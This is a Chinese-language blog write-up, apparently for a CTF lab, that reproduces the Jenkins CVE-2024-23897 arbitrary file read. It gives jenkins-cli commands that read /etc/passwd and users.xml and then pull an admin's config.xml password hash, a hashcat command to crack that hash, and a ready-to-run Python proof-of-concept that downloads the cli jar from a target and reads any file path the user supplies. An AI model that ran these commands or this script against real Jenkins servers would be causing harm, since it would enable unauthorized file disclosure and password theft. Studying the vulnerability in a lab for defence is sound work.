0%

CVE-2024-23897

jetkins任意文件读取

CVE-2024-23897

CVE - 2024 - 23897是Jenkins存在的一个任意文件读取漏洞。Jenkins为用户提供了命令行接口,用户能够借助jenkins - cli.jar调用该接口,进而执行Jenkins的部分功能。然而,当使用jenkins - cli.jar执行命令行操作时,服务端会利用第三方库args4j对命令行进行解析。在解析过程中,若参数以@开头,系统就会把它认定为一个文件名,随后读取该文件的内容并将其作为参数。这一机制存在风险,一旦参数设置不当,就可能引发报错,且报错信息会将文件内容显示出来,从而导致任意文件读取的情况发生。
目前我的能力只能把漏洞打一遍,原理分析请看P神的原理分析文章
受影响版本:
Jenkins 版本<= 2.441
Jenkins 版本<= LTS 2.426.2

漏洞复现

借用春秋云境的靶场环境

image-20250718185959055

先访问访问http://靶场IP:ports/jnlpJars/jenkins-cli.jar下载到相关的jar文件,然后直接运行下面的命令

1
java -jar .\jenkins-cli.jar -s http://8.147.132.32:44175/ -http help 1 "@etc/passwd"

image-20250718190113808

成功读取出了第一行内容,这个命令缺点在于只能读取文件部分内容

image-20250718190221667

直接读取到flag

一些命令输出较多,看下面这个

1
java -jar .\jenkins-cli.jar -s http://8.147.132.32:44175/  connect-node "@etc/passwd"

[Jenkins 安装](https://so.csdn.net/so/search?q=Jenkins 安装&spm=1001.2101.3001.7020)将有一个文件/var/jenkins_home/users/users.xml,其中列出了此处的所有有效用户

1
java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node "/var/jenkins_home/users/users.xml"

image-20250718190607738

这里读出来admin
users.xml显示系统上的单个用户,admin,其信息文件夹为/var/jenkins_home/users/admin_5965741382068509608
在 Jenkins 上的每个用户文件夹中,始终有一个包含用户密码哈希的config.xml文件。
所以现在读取/var/jenkins_home/users/admin_5965741382068509608/config.xml

1
java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node "/var/jenkins_home/users/admin_5965741382068509608/config.xml"

如果顺利就能读到hash值,直接使用kali进行爆破

1
hashcat -m 3200 info.txt rockyou.txt

总结
Jenkins提供了一个命令行的接口,jenkins-clijar是它的命令行客户端,通过jenkins-clijar可以去执行一些Jenkins中的功能。
利用条件:Jenkins 版本<= 2.441 和Jenkins 版本<= LTS 2.426.2+开启了Allow anonymous read access(读取完整文件)

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import os
import subprocess

url = input("[+]请输入url:")

# 获取脚本所在目录的绝对路径
script_dir = os.path.dirname(os.path.abspath(__file__))
jar_path = os.path.join(script_dir, "jenkins-cli.jar")

if os.path.exists(jar_path):
print("[+] 文件已存在,无需下载。")
else:
# 使用完整的路径来下载文件
curl_command = f"curl -o {jar_path} " + url + "/jnlpJars/jenkins-cli.jar"
ret = os.system(curl_command)
if ret == 0:
print("[+] 下载成功")
file_path = input("[+]请输入要查看的文件路径:")
# 运行java命令时,也确保使用jar包的完整路径
cmd = f'java -jar {jar_path} -s {url} -http help 1 "@{file_path}"'
result = subprocess.run(cmd, capture_output=True, text=True, shell=True) # 加上 shell=True 让命令被 shell 解析

if result.returncode == 0:
# 成功执行的输出通常在 stdout
print("[+] 执行成功")
print(result.stdout)
else:
# 失败的输出或漏洞利用的输出通常在 stderr
print("[+] 漏洞利用结果或执行失败信息:")
print(result.stderr)
else:
print("[-] 下载失败")